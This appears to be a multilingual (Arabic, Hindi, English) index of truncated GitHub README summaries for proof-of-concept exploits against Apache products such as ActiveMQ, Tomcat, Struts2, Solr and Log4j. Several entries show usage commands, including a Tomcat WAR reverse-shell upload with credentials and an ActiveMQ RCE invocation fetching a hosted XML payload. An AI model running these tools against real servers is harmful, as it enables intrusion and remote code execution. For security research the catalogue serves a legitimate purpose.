CVE-2023-46604-Apache-ActiveMQ-RCE-exp

مرجع المشروع هذا المشروع هو إعادة كتابة exp من مشروع https://github.com/X1r0z/ActiveMQ-RCE إلى إصدار python من exp. الاستخدام python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 حيث أن المعامل -p الافتراضي هو المنفذ الافتراضي لـ activeMQ. المعامل -x يجب إضافة بادئ...

warsend

WARSend Apache Tomcat Manager API WAR शेल अपलोड पूर्वापेक्षाएँ क्रेडेंशियल्स Tomcat Manager तक टेक्स्ट API पहुँच $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |//...

decoder-plus-plus

Decoder++ Decoder++ is an extensible application designed for penetration testers, software developers, and anyone in between looking to effortlessly decode and encode data across various formats. It includes a wide range of preinstalled scripts and codecs, smart decoding and format identificatio...

POC-CVE-2021-41773

POC CVE-2021-41773 N|Solid POC لاختبار الثغرة الأمنية CVE-2021-41773 الخاصة بخدمة Apache HTTPD 2.4.49. POC افتح الطرفية المفضلة لديك وقم بتشغيل هذه الأوامر. التبويب الأول: wget https://raw.githubusercontent.com/TishcaTpx/POC-CVE-2021-41773/main/poc.py التبويب الثاني: python3 poc.py exampledomain....

Apache-Struts-2-CVE-2017-5638-Exploit-

Apache-Struts-2-CVE-2017-5638-Exploit यह एक्सप्लॉइट Apache Struts2 भेद्यता CVE-2017-5638 का शोषण करता है, जो हमें Apache सर्वर पर दूरस्थ रूप से कमांड निष्पादित करने की अनुमति देता है। उपयोग कैसे करें: $ sudo python Struts2Shell001.py ! Exploit Apache Struts2 DEMO Code of Rvbk + HOST con https...

AttackTomcat

AttackTomcat भेद्यता जाँच सूची CVE-2017-12615 PUT फ़ाइल अपलोड भेद्यता tomcat-pass-getshell कमज़ोर प्रमाणीकरण द्वारा WAR पैकेज तैनाती कमज़ोर पासवर्ड ब्रूट-फोर्स CVE-2020-1938 Tomcat फ़ाइल पठन/समावेशन उपयोग के निर्देश पहली बार उपयोग करने से पहले सेटिंग्स में कॉन्फ़िगरेशन फ़ाइल को पुनः सेट करें, अन्...

CVE-2024-27348

CVE-2024-27348 للاستخدام الأخلاقي فقط، أي أنشطة ضارة أو خبيثة غير مسموح بها. وتقع المسؤولية على عاتقك يمكنك قراءة تحليل الثغرة الأمنية من هنا: https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/ أداة فحص تنفيذ الأكواد عن بُعد لخادم Apache HugeGraph CVE-2024-27348، ستقوم الأدا...

CVE-2022-41678

Apache ActiveMQ CVE-2022-41678 शोषण उपकरण भेद्यता परिचय संदर्भ दस्तावेज़: https://app.nextcyber.cn/courses/41/tasks/580 CVE-2022-41678 Apache ActiveMQ में एक रिमोट कोड निष्पादन भेद्यता है। यह भेद्यता हमलावर को JMX Java Management Extensions इंटरफ़ेस के माध्यम से Log4j कॉन्फ़िगरेशन या JFR Java...

CVE-2025-24813-POC

CVE-2025-24813 إثبات المفهوم مستقل يحتوي هذا المستودع على PoC مستقل وغير مدمر لـ CVE-2025-24813، وهي ثغرة في Apache Tomcat 9.0.55 تسمح برفع الملفات عن بُعد عبر طلبات PUT الجزئية. يوضح هذا الاستغلال تنفيذ التعليمات البرمجية عن طريق رفع والوصول إلى ملف JSP غير ضار. 📁 المحتويات proof.jsp: حمولة JSP...

CVE-2016-3088

CVE-2016-3088 استغلال تنفيذ التعليمات البرمجية عن بُعد في Apache ActiveMQ الوصف تطبيق الويب Fileserver في Apache ActiveMQ 5.x قبل الإصدار 5.14.0 يسمح للمهاجمين عن بُعد بتحميل وتنفيذ ملفات عشوائية عبر طلب HTTP PUT متبوعًا بطلب HTTP MOVE. المؤلف Alexandre Aguiar @cyberaguiar تحليل الاستغلال تحليل...

spring4shell-poc

Spring4Shell POC Description of the vulnerability: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construction of the POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Steps to Build/Run Tested with JDK 11.0.14, Spring Boot 2.6.5, and Apache Tomcat 9.0.60 Run...

CVE-2025-22828

CVE-2025-22828 📜 الوصف أباتشي كلاود ستاك 4.16.0 والإصدارات الأحدث تعاني من مشكلة في التحكم في الوصول المكسور تسمح للمستخدمين الذين لديهم معرفة بـ UUIDs الموارد بقراءة أو إضافة تعليقات تعليقات توضيحية على الموارد التي ليس لديهم صلاحية الوصول إليها. يمكن كشف UUIDs في أجزاء مختلفة من التطبيق، مثل...

CVE-Arsenal-Lab

TomcatScanner CVE-2025-24813 के लिए उन्नत पहचान और शोषण उपकरण TomcatScanner एक व्यापक सुरक्षा उपकरण है जो Apache Tomcat सर्वरों में CVE-2025-24813 भेद्यता का पता लगाने और शोषण करने के लिए डिज़ाइन किया गया है। इस भेद्यता में 'file.Name' पैरामीटर में एक पथ समानता path equivalence समस्या शामिल है जो...

CVE-2023-27524

CVE-2023-27524 विवरण - CVE-2023-27524 के लिए POC: Apache Superset प्रमाणीकरण बाईपास भेद्यता। - antx द्वारा 2023-04-27 को बनाया गया। विवरण - Apache Superset संस्करण 2.0.1 तक और सहित में सत्र सत्यापन हमले। जिन इंस्टॉलेशन ने स्थापना निर्देशों के अनुसार डिफ़ॉल्ट कॉन्फ़िगर किए गए SECRETKEY को नहीं...

CVE-2024-4577-RCE-ATTACK

PHP CVE-2024-4577-RCE-ATTACK-ATTACK 📜 विवरण PHP संस्करण 8.1. 8.1.29 से पहले, 8.2. 8.2.20 से पहले, 8.3. 8.3.8 से पहले में, जब Windows पर Apache और PHP-CGI का उपयोग किया जाता है, यदि सिस्टम कुछ विशिष्ट कोड पृष्ठों का उपयोग करने के लिए कॉन्फ़िगर किया गया है, तो Windows Win32 API फ़ंक्शंस को प्रदान क...

apache-tomcat-log4j

إثبات الاختراق POC لثغرة Log4j2 CVE-2021-44228 في Apache Tomcat معاينة الإعداد تشغيل خادم Tomcat git clone cd apache-tomcat-10.0.14/bin startup.bat استضافة صنف الاستغلال cd exploit py -m http.server 8888 cd exploit java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer...

CVE-2019-0232-EXP

CVE-2019-0232-EXP بيئة الاختبار هي Win10 Home 1809، إصدار jre هو 18.3 build 10.0.2+13، إصدار Tomcat هو 9.0.13. إصدارات Tomcat المتأثرة ★Apache Tomcat 9.0.0.M1 إلى 9.0.17 ★Apache Tomcat 8.5.0 إلى 8.5.39 ★Apache Tomcat 7.0.0 إلى 7.0.93 تكوين conf/web.xml cgi org.apache.catalina.servlets.CGIServlet...

CVE-2021-37580

Apache ShenYu Admin में प्रमाणीकरण बायपास भेद्यता पाई गई है; हमलावर इस भेद्यता के माध्यम से JSON Web Token JWT सुरक्षा प्रमाणीकरण को बायपास करके सीधे सिस्टम बैकएंड में प्रवेश कर सकते हैं। Apache ShenYu सभी माइक्रोसर्विस परिदृश्यों पर लागू होने वाला एक स्केलेबल, उच्च-प्रदर्शन और रिस्पॉन्सिव API...

CVE-2022-33980

exactly that. CVE-2022-33980 CVE Apache Commons RCE يمكن استخدام كلمات مفتاحية مثل url و dns و script للاتصال بأي خادم...

CVE-2019-12409

CVE-2019-12409 Apache Solr RCE ENABLEREMOTEJMXOPTS="true" root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true" Enables log rotati...